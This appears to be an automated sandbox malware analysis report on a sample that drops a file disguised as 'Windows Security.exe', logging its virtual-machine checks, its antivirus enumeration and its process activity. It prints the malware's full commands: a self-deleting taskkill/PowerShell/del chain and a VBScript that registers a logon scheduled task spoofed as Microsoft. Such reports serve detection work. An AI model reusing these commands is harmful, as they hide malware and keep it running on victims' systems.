Source: C:\Users\user\AppData\Roaming\Microsoft\Security\Windows Security.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Microsoft\Security\Windows Security.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Microsoft\Security\Windows Security.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Microsoft\Security\Windows Security.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Microsoft\Security\Windows Security.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Microsoft\Security\Windows Security.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

Query firmware table information (likely to detect VMs)

Source: C:\Windows\System32\svchost.exe

System information queried: FirmwareTableInformation

Jump to behavior

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Source: C:\Users\user\Desktop\18561381.exe

WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_VideoController

Queries sensitive disk information (via WMI, Win32_DiskDrive, often done to detect virtual machines)

Source: C:\Users\user\Desktop\18561381.exe

WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_DiskDrive

Source: C:\Users\user\Desktop\18561381.exe TID: 5948	Thread sleep time: -5534023222112862s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\18561381.exe TID: 6836	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\18561381.exe TID: 6652	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 6192	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 6020	Thread sleep time: -60000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 3236	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 2616	Thread sleep count: 5491 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6004	Thread sleep count: 3282 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 4964	Thread sleep time: -9223372036854770s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5576	Thread sleep time: -922337203685477s >= -30000s

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Users\user\Desktop\18561381.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\Desktop\18561381.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477

Source: C:\Users\user\Desktop\18561381.exe	Window / User API: threadDelayed 4061	Jump to behavior
Source: C:\Users\user\Desktop\18561381.exe	Window / User API: threadDelayed 853	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5491
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 3282

Source: C:\Users\user\Desktop\18561381.exe

Registry key enumerated: More than 149 enums for key HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall

Source: C:\Users\user\Desktop\18561381.exe

WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Jump to behavior

Source: C:\Users\user\Desktop\18561381.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\Desktop\18561381.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477

Source: Amcache.hve.0.dr	Binary or memory string: VMware
Source: Amcache.hve.0.dr	Binary or memory string: scsi/disk&ven_vmware&prod_virtual_disk/5&1ec51bf7&0&000000
Source: Amcache.hve.0.dr	Binary or memory string: VMware Virtual USB Mouse
Source: Windows Security.exe, 0000001A.00000002.511245378.000000001BE4E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Win32_VideoController(Standard display types)VMwareB5661YWOWin32_VideoControllerA6ZLEZ5AVideoController120060621000000.000000-00047364112display.infMSBDAU1UEFH4MPCI\VEN_15AD&DEV_0405&SUBSYS_040515AD&REV_00\3&61AAA01&0&78OKWin32_ComputerSystemcomputer1280 x 1024 x 4294967296 colorsSDYGDSXX
Source: Amcache.hve.0.dr	Binary or memory string: VMware, Inc.
Source: Amcache.hve.0.dr	Binary or memory string: VMware Virtual disk SCSI Disk Devicehbin
Source: svchost.exe, 0000000B.00000002.505953622.000002E040054000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000F.00000002.470388126.00000129A5288000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000F.00000002.470844443.00000129A52E9000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000015.00000002.504804854.0000011979CD0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000015.00000002.504764911.0000011979CBA000.00000004.00000020.00020000.00000000.sdmp, Windows Security.exe, 0000001A.00000002.511186047.000000001BE25000.00000004.00000020.00020000.00000000.sdmp, Windows Security.exe, 00000023.00000002.510223917.000000001C100000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: Amcache.hve.0.dr	Binary or memory string: VMware, Inc.me
Source: svchost.exe, 00000015.00000002.506207801.000001197AC0A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMware SVGA II
Source: svchost.exe, 00000015.00000002.504601006.0000011979C62000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW0S
Source: svchost.exe, 00000004.00000002.504081178.000001FC62C29000.00000004.00000020.00020000.00000000.sdmp, Windows Security.exe, 0000001A.00000002.511186047.000000001BE25000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
Source: svchost.exe, 00000015.00000002.506314553.000001197AC58000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMware7,1L
Source: Amcache.hve.0.dr	Binary or memory string: :scsi/disk&ven_vmware&prod_virtual_disk/5&1ec51bf7&0&000000
Source: svchost.exe, 0000000F.00000002.470980343.00000129A5B00000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: "@Hyper-V RAW
Source: Amcache.hve.0.dr	Binary or memory string: @scsi/cdrom&ven_necvmwar&prod_vmware_sata_cd00/5&280b647&0&000000
Source: svchost.exe, 0000000B.00000002.505986220.000002E040065000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: @Hyper-V RAW
Source: Windows Security.exe, 00000023.00000002.504463074.0000000000A79000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: 18561381.exe, 00000000.00000002.402497299.0000000000798000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dllE
Source: Amcache.hve.0.dr	Binary or memory string: VMware7,1
Source: svchost.exe, 00000015.00000002.506207801.000001197AC0A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMware Virtual RAM00000001VMW-4096MBRAM slot #0RAM slot #0
Source: Amcache.hve.0.dr	Binary or memory string: Microsoft Hyper-V Generation Counter
Source: Amcache.hve.0.dr	Binary or memory string: NECVMWar VMware SATA CD00
Source: Amcache.hve.0.dr	Binary or memory string: VMware Virtual disk SCSI Disk Device
Source: Amcache.hve.0.dr	Binary or memory string: BiosVendor:VMware, Inc.,BiosVersion:VMW71.00V.13989454.B64.1906190538,BiosReleaseDate:06/19/2019,BiosMajorRelease:0xff,BiosMinorRelease:0xff,SystemManufacturer:VMware, Inc.,SystemProduct:VMware7,1,SystemFamily:,SystemSKUNumber:,BaseboardManufacturer:,BaseboardProduct:,BaseboardVersion:,EnclosureType:0x1
Source: Amcache.hve.0.dr	Binary or memory string: scsi\cdromnecvmwarvmware_sata_cd001.00,scsi\cdromnecvmwarvmware_sata_cd00,scsi\cdromnecvmwar,scsi\necvmwarvmware_sata_cd001,necvmwarvmware_sata_cd001,gencdrom
Source: Amcache.hve.0.dr	Binary or memory string: scsi\diskvmware__virtual_disk____2.0_,scsi\diskvmware__virtual_disk____,scsi\diskvmware__,scsi\vmware__virtual_disk____2,vmware__virtual_disk____2,gendisk
Source: Amcache.hve.0.dr	Binary or memory string: VMware-42 35 d8 20 48 cb c7 ff-aa 5e d0 37 a0 49 53 d7
Source: svchost.exe, 0000000B.00000002.504389026.000002E03EA29000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW`r
Source: 18561381.exe, 00000000.00000002.403110268.0000000000AE5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Win32_VideoController(Standard display types)VMwareB5661YWOWin32_VideoControllerA6ZLEZ5AVideoController120060621000000.000000-00047364112display.infMSBDAU1UEFH4MPCI\VEN_15AD&DEV_0405&SUBSYS_040515AD&REV_00\3&61AAA01&0&78OKWin32_ComputerSystemcomputer1280 x 1024 x 4294967296 colorsSDYGDSXXl
Source: svchost.exe, 00000015.00000002.506207801.000001197AC0A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMware SVGA IIES1371
Source: svchost.exe, 00000015.00000002.506207801.000001197AC0A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMware Virtual RAM
Source: Amcache.hve.0.dr	Binary or memory string: scsi/cdrom&ven_necvmwar&prod_vmware_sata_cd00/5&280b647&0&000000
Source: svchost.exe, 00000015.00000002.506207801.000001197AC0A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMware, Inc.NoneVMware-42 35 d8 20 48 cb c7 ff-aa 5e d0 37 a0 49 53 d7VMware7,1
Source: svchost.exe, 00000015.00000002.506207801.000001197AC0A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMware, Inc.VMW71.00V.18227214.B64.210625222006/25/2021

Source: C:\Users\user\Desktop\18561381.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\Desktop\18561381.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\build.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Security\Windows Security.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Process token adjusted: Debug
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug

Source: C:\Users\user\Desktop\18561381.exe

Memory allocated: page read and write | page guard

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\build.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c taskkill /F /PID 2856 & powershell -command "$ErrorActionPreference= 'silentlycontinue'; (Get-WmiObject Win32_Process \| Where-Object { $_.Path.StartsWith('C:\Users\user\AppData\Local\Temp\build.exe') }).Terminate()" & timeout 3 > nul & del /F /S /Q /A "C:\Users\user\AppData\Local\Temp\build.exe" & exit
Source: C:\Users\user\AppData\Roaming\Microsoft\Security\Windows Security.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c @echo off & echo const TriggerTypeLogon=9 : const ActionTypeExecutable=0 : const TASK_LOGON_INTERACTIVE_TOKEN=3 : const createOrUpdateTask=6 : Set service=CreateObject("Schedule.Service") : call service.Connect() : Dim rootFolder : Set rootFolder=service.GetFolder("") : Dim taskDefinition : Set taskDefinition=service.NewTask(0) : Dim regInfo : Set regInfo=taskDefinition.RegistrationInfo : regInfo.Author="Microsoft Corporation" : regInfo.Description="Windows Security is a software application that safeguards a system from malware. It was an anti-spyware program built to fight unauthorized access and protect Windows computers from unwanted software." : Dim settings : Set settings=taskDefinition.Settings : settings.StartWhenAvailable=True : settings.ExecutionTimeLimit="PT0S" : settings.AllowHardTerminate=False : settings.IdleSettings.StopOnIdleEnd=False : settings.DisallowStartIfOnBatteries=False : settings.StopIfGoingOnBatteries=False : Dim triggers : Set triggers=taskDefinition.Triggers : Dim trigger : Set trigger=triggers.Create(TriggerTypeLogon) : userId=CreateObject("WScript.Shell").ExpandEnvironmentStrings("%USERNAME%") : trigger.Id="LogonTriggerId" : trigger.UserId=userId : Dim Action : Set Action=taskDefinition.Actions.Create(ActionTypeExecutable) : Action.Path="C:\Users\user\AppData\Roaming\Microsoft\Security\Windows Security.exe" : taskDefinition.Principal.UserId=userId : taskDefinition.Principal.LogonType=TASK_LOGON_INTERACTIVE_TOKEN : call rootFolder.RegisterTaskDefinition("Windows Security", taskDefinition, createOrUpdateTask, Empty, Empty, TASK_LOGON_INTERACTIVE_TOKEN) > C:\Users\user\AppData\Local\Temp\tmpBD82.vbs & cscript //nologo C:\Users\user\AppData\Local\Temp\tmpBD82.vbs & del C:\Users\user\AppData\Local\Temp\tmpBD82.vbs /f /q & exit
Source: C:\Users\user\AppData\Local\Temp\build.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c taskkill /F /PID 2856 & powershell -command "$ErrorActionPreference= 'silentlycontinue'; (Get-WmiObject Win32_Process \| Where-Object { $_.Path.StartsWith('C:\Users\user\AppData\Local\Temp\build.exe') }).Terminate()" & timeout 3 > nul & del /F /S /Q /A "C:\Users\user\AppData\Local\Temp\build.exe" & exit	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Security\Windows Security.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c @echo off & echo const TriggerTypeLogon=9 : const ActionTypeExecutable=0 : const TASK_LOGON_INTERACTIVE_TOKEN=3 : const createOrUpdateTask=6 : Set service=CreateObject("Schedule.Service") : call service.Connect() : Dim rootFolder : Set rootFolder=service.GetFolder("") : Dim taskDefinition : Set taskDefinition=service.NewTask(0) : Dim regInfo : Set regInfo=taskDefinition.RegistrationInfo : regInfo.Author="Microsoft Corporation" : regInfo.Description="Windows Security is a software application that safeguards a system from malware. It was an anti-spyware program built to fight unauthorized access and protect Windows computers from unwanted software." : Dim settings : Set settings=taskDefinition.Settings : settings.StartWhenAvailable=True : settings.ExecutionTimeLimit="PT0S" : settings.AllowHardTerminate=False : settings.IdleSettings.StopOnIdleEnd=False : settings.DisallowStartIfOnBatteries=False : settings.StopIfGoingOnBatteries=False : Dim triggers : Set triggers=taskDefinition.Triggers : Dim trigger : Set trigger=triggers.Create(TriggerTypeLogon) : userId=CreateObject("WScript.Shell").ExpandEnvironmentStrings("%USERNAME%") : trigger.Id="LogonTriggerId" : trigger.UserId=userId : Dim Action : Set Action=taskDefinition.Actions.Create(ActionTypeExecutable) : Action.Path="C:\Users\user\AppData\Roaming\Microsoft\Security\Windows Security.exe" : taskDefinition.Principal.UserId=userId : taskDefinition.Principal.LogonType=TASK_LOGON_INTERACTIVE_TOKEN : call rootFolder.RegisterTaskDefinition("Windows Security", taskDefinition, createOrUpdateTask, Empty, Empty, TASK_LOGON_INTERACTIVE_TOKEN) > C:\Users\user\AppData\Local\Temp\tmpBD82.vbs & cscript //nologo C:\Users\user\AppData\Local\Temp\tmpBD82.vbs & del C:\Users\user\AppData\Local\Temp\tmpBD82.vbs /f /q & exit	Jump to behavior

Source: C:\Users\user\Desktop\18561381.exe	Process created: C:\Users\user\AppData\Local\Temp\build.exe "C:\Users\user\AppData\Local\Temp\build.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\build.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\System32\cmd.exe" /c "C:\Users\user\AppData\Roaming\Microsoft\Security\Windows Security.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\build.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c taskkill /F /PID 2856 & powershell -command "$ErrorActionPreference= 'silentlycontinue'; (Get-WmiObject Win32_Process \| Where-Object { $_.Path.StartsWith('C:\Users\user\AppData\Local\Temp\build.exe') }).Terminate()" & timeout 3 > nul & del /F /S /Q /A "C:\Users\user\AppData\Local\Temp\build.exe" & exit	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Roaming\Microsoft\Security\Windows Security.exe C:\Users\user\AppData\Roaming\Microsoft\Security\Windows Security.exe	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Security\Windows Security.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c @echo off & echo const TriggerTypeLogon=9 : const ActionTypeExecutable=0 : const TASK_LOGON_INTERACTIVE_TOKEN=3 : const createOrUpdateTask=6 : Set service=CreateObject("Schedule.Service") : call service.Connect() : Dim rootFolder : Set rootFolder=service.GetFolder("") : Dim taskDefinition : Set taskDefinition=service.NewTask(0) : Dim regInfo : Set regInfo=taskDefinition.RegistrationInfo : regInfo.Author="Microsoft Corporation" : regInfo.Description="Windows Security is a software application that safeguards a system from malware. It was an anti-spyware program built to fight unauthorized access and protect Windows computers from unwanted software." : Dim settings : Set settings=taskDefinition.Settings : settings.StartWhenAvailable=True : settings.ExecutionTimeLimit="PT0S" : settings.AllowHardTerminate=False : settings.IdleSettings.StopOnIdleEnd=False : settings.DisallowStartIfOnBatteries=False : settings.StopIfGoingOnBatteries=False : Dim triggers : Set triggers=taskDefinition.Triggers : Dim trigger : Set trigger=triggers.Create(TriggerTypeLogon) : userId=CreateObject("WScript.Shell").ExpandEnvironmentStrings("%USERNAME%") : trigger.Id="LogonTriggerId" : trigger.UserId=userId : Dim Action : Set Action=taskDefinition.Actions.Create(ActionTypeExecutable) : Action.Path="C:\Users\user\AppData\Roaming\Microsoft\Security\Windows Security.exe" : taskDefinition.Principal.UserId=userId : taskDefinition.Principal.LogonType=TASK_LOGON_INTERACTIVE_TOKEN : call rootFolder.RegisterTaskDefinition("Windows Security", taskDefinition, createOrUpdateTask, Empty, Empty, TASK_LOGON_INTERACTIVE_TOKEN) > C:\Users\user\AppData\Local\Temp\tmpBD82.vbs & cscript //nologo C:\Users\user\AppData\Local\Temp\tmpBD82.vbs & del C:\Users\user\AppData\Local\Temp\tmpBD82.vbs /f /q & exit	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /F /PID 2856
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -command "$ErrorActionPreference= 'silentlycontinue'; (Get-WmiObject Win32_Process \| Where-Object { $_.Path.StartsWith('C:\Users\user\AppData\Local\Temp\build.exe') }).Terminate()"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\timeout.exe timeout 3
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cscript.exe cscript //nologo C:\Users\user\AppData\Local\Temp\tmpBD82.vbs

Source: C:\Windows\System32\cmd.exe

Process created: C:\Windows\System32\taskkill.exe taskkill /F /PID 2856

Source: C:\Users\user\Desktop\18561381.exe	Queries volume information: C:\Users\user\Desktop\18561381.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\18561381.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceModel\v4.0_4.0.0.0__b77a5c561934e089\System.ServiceModel.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\18561381.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\SMDiagnostics\v4.0_4.0.0.0__b77a5c561934e089\SMDiagnostics.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\18561381.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.IdentityModel\v4.0_4.0.0.0__b77a5c561934e089\System.IdentityModel.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\18561381.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceModel.Internals\v4.0_4.0.0.0__31bf3856ad364e35\System.ServiceModel.Internals.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\18561381.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\18561381.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\18561381.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\18561381.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Management.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\18561381.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.CSharp\v4.0_4.0.0.0__b03f5f7f11d50a3a\Microsoft.CSharp.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\18561381.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\18561381.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\18561381.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Dynamic\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Dynamic.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\18561381.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\18561381.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Web.Extensions\v4.0_4.0.0.0__31bf3856ad364e35\System.Web.Extensions.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\18561381.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Web\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Web.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\build.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\build.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\build.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\build.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Security\Windows Security.exe	Queries volume information: C:\Users\user\AppData\Roaming\Microsoft\Security\Windows Security.exe VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Users\user\AppData\Roaming\Microsoft\Security\Windows Security.exe	Queries volume information: C:\Users\user\AppData\Roaming\Microsoft\Security\Windows Security.exe VolumeInformation

Source: C:\Users\user\AppData\Local\Temp\build.exe

Code function: 16_2_00CB2AE0 cpuid

16_2_00CB2AE0

Source: C:\Users\user\Desktop\18561381.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Lowering of HIPS / PFW / Operating System Security Settings

Changes security center settings (notifications, updates, antivirus, firewall)

Source: C:\Windows\System32\svchost.exe

Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Security Center cval

Jump to behavior

Source: C:\Users\user\Desktop\18561381.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter : SELECT * FROM AntivirusProduct
Source: C:\Users\user\Desktop\18561381.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter : SELECT * FROM AntiSpyWareProduct
Source: C:\Users\user\Desktop\18561381.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter : SELECT * FROM FirewallProduct
Source: C:\Users\user\Desktop\18561381.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntivirusProduct
Source: C:\Users\user\Desktop\18561381.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiSpyWareProduct
Source: C:\Users\user\Desktop\18561381.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM FirewallProduct
Source: C:\Windows\System32\svchost.exe	WMI Queries: IWbemServices::ExecNotificationQuery - ROOT\SecurityCenter : SELECT * FROM __InstanceOperationEvent WHERE TargetInstance ISA 'AntiVirusProduct' OR TargetInstance ISA 'FirewallProduct' OR TargetInstance ISA 'AntiSpywareProduct'
Source: C:\Windows\System32\svchost.exe	WMI Queries: IWbemServices::CreateInstanceEnum - ROOT\SecurityCenter2 : FirewallProduct
Source: C:\Windows\System32\svchost.exe	WMI Queries: IWbemServices::CreateInstanceEnum - ROOT\SecurityCenter2 : AntiVirusProduct
Source: C:\Windows\System32\svchost.exe	WMI Queries: IWbemServices::CreateInstanceEnum - ROOT\SecurityCenter2 : AntiSpywareProduct

Source: Amcache.hve.0.dr	Binary or memory string: c:\users\user\desktop\procexp.exe
Source: Amcache.hve.0.dr	Binary or memory string: c:\program files\windows defender\msmpeng.exe
Source: svchost.exe, 00000015.00000002.506143057.000001197A5F4000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \BullGuard Ltd\BullGuard\BullGuard.exe
Source: svchost.exe, 00000008.00000002.503741880.000001E6FCE51000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: (@V%ProgramFiles%\Windows Defender\MsMpeng.exe
Source: svchost.exe, 00000008.00000002.503791068.000001E6FCF02000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Files%\Windows Defender\MsMpeng.exe
